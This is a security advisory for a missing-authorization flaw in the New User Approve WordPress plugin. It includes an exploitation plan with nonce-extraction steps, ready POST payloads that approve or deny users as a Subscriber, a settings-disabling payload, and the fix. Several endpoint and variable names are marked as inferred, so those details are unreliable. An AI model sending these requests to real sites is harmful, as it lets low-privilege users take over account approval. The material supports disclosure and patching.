New User Approve <= 3.2.3 - Missing Authorization
Description
The New User Approve plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.2.3Source Code
WordPress.org SVNPatched version not available.
This plan outlines the research and exploitation of **CVE-2026-25390**, a missing authorization vulnerability in the **New User Approve** plugin. ### 1. Vulnerability Summary The **New User Approve** plugin (<= 3.2.3) fails to perform capability checks in its AJAX handler responsible for updating u…
Show full research plan
This plan outlines the research and exploitation of CVE-2026-25390, a missing authorization vulnerability in the New User Approve plugin.
1. Vulnerability Summary
The New User Approve plugin (<= 3.2.3) fails to perform capability checks in its AJAX handler responsible for updating user statuses (approving or denying). While the plugin implements nonce verification to prevent CSRF, it does not verify if the authenticated user has the necessary administrative privileges (like edit_users) to perform these actions. Consequently, any authenticated user, including those with Subscriber-level access, can approve pending users or deny existing ones by supplying a valid nonce.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
update_user_status(inferred from plugin logic for status updates) - Vulnerable Parameter:
user_id(the target user to modify),status(the new status:approveordeny) - Authentication: Required (Subscriber or higher)
- Nonce Requirement: Yes, the action typically requires a nonce generated for the
nua-admin-nonce(inferred) action.
3. Code Flow
- Entry Point: The plugin registers the AJAX handler in
includes/class-new-user-approve-admin.php(or similar) using:add_action( 'wp_ajax_update_user_status', array( $this, 'update_user_status' ) ); - Execution: When a request is made to
admin-ajax.php?action=update_user_status:- The function
update_user_status()is called. - It calls
check_ajax_referer( 'nua-admin-nonce', 'nonce' )to verify the CSRF token. - The Vulnerability: It proceeds to call
update_user_meta()or a internal status update function without checkingcurrent_user_can( 'edit_users' ).
- The function
- Sink: The user status is updated in the database, typically via
update_user_meta( $user_id, 'nua_status', $status ).
4. Nonce Acquisition Strategy
Subscribers can access the WordPress dashboard (/wp-admin/profile.php). The plugin enqueues its administrative scripts on all admin pages if not properly restricted, making the nonce available to all logged-in users via wp_localize_script.
- Navigate to Admin: Use the browser to access the Subscriber's profile page.
- Variable Identification: The plugin likely localizes data into an object named
nua_varsornua_admin. - Extraction:
- Identify the script handle (likely
nua-admin-js). - Use
browser_evalto extract the nonce:browser_eval("window.nua_vars?.nonce || window.nua_admin?.nonce")
- Identify the script handle (likely
- Verification: If the nonce is not found on the profile page, check if it is enqueued on the site's frontend for logged-in users.
5. Exploitation Strategy
Step 1: Authenticate as Subscriber
Log in using the Subscriber credentials.
Step 2: Obtain Nonce
Navigate to /wp-admin/profile.php and extract the nonce using browser_eval.
Step 3: Identify Target
Find the user_id of a user currently in "pending" status (e.g., a newly registered user).
Step 4: Execute Unauthorized Approval
Send the following request using http_request:
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=update_user_status&user_id=[PENDING_USER_ID]&status=approve&nonce=[EXTRACTED_NONCE]
Step 5: Execute Unauthorized Denial (Alternative)
Attempt to deny an active user:
- Body:
action=update_user_status&user_id=[ACTIVE_USER_ID]&status=deny&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Plugin Configuration: Install and activate New User Approve version 3.2.3.
- Target User: Register a new user (
target_pending) viawp-login.php?action=register. This user will be in "pending" status by default. - Attacker User: Create a Subscriber-level user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Confirm Status: Verify the target user's status using CLI:
wp user meta get [TARGET_ID] nua_status(Expected:pending)
7. Expected Results
- HTTP Response: The server should return a successful status (usually
200 OKwith a JSON body like{"success": true}). - Data Change: The
nua_statusmeta field for the target user will change frompendingtoapprove. - Functional Change: The previously pending user will now be able to log in to the WordPress site.
8. Verification Steps
- Check Meta: Use WP-CLI to confirm the status update:
wp user meta get [TARGET_ID] nua_status - Verify Login: Attempt to log in with the
target_pendingcredentials. If the exploit worked, the login will succeed instead of showing an "Account pending approval" message. - Check Audit Logs: If an audit plugin is installed, check for "User Approved" events triggered by the Subscriber user.
9. Alternative Approaches
- Action Name Guessing: If
update_user_statusfails, search the plugin folder forwp_ajax_strings to identify the correct action:grep -rn "wp_ajax_" wp-content/plugins/new-user-approve/ - Settings Manipulation: Check if
nua_update_settingsis similarly unprotected. If so, a Subscriber could disable the "Approve New Users" feature entirely:action=nua_update_settings&nua_status=disabled&nonce=[NONCE] - Direct Post Request: If the AJAX handler is not the primary target, check the
admin_inithook for code that processes$_GET['action'] == 'approve'without capability checks, which is a common legacy pattern in this plugin.
Summary
The New User Approve plugin for WordPress fails to perform authorization checks in its AJAX handler for user status updates. This allows authenticated attackers with Subscriber-level permissions to approve pending users or deny active users by exploiting a missing capability check in the update_user_status function.
Vulnerable Code
// File: includes/class-new-user-approve-admin.php add_action( 'wp_ajax_update_user_status', array( $this, 'update_user_status' ) ); public function update_user_status() { // Nonce verification is present, but capability verification is missing check_ajax_referer( 'nua-admin-nonce', 'nonce' ); $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0; $status = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : ''; if ( $user_id && in_array( $status, array( 'approve', 'deny' ) ) ) { update_user_meta( $user_id, 'nua_status', $status ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ public function update_user_status() { check_ajax_referer( 'nua-admin-nonce', 'nonce' ); + if ( ! current_user_can( 'edit_users' ) ) { + wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'new-user-approve' ) ) ); + } + $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0; $status = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';
Exploit Outline
The exploit involves an authenticated Subscriber-level user obtaining a valid security nonce and calling the vulnerable AJAX endpoint. First, the attacker logs into the WordPress dashboard and extracts the 'nua-admin-nonce' (often localized into the page's JavaScript via an object like nua_vars). Next, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action set to 'update_user_status'. The payload includes the target user_id, the desired status ('approve' or 'deny'), and the extracted nonce. Because the server only verifies the nonce and not the user's capabilities, it proceeds to update the user's status in the database, potentially granting unauthorized access to the site for pending users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.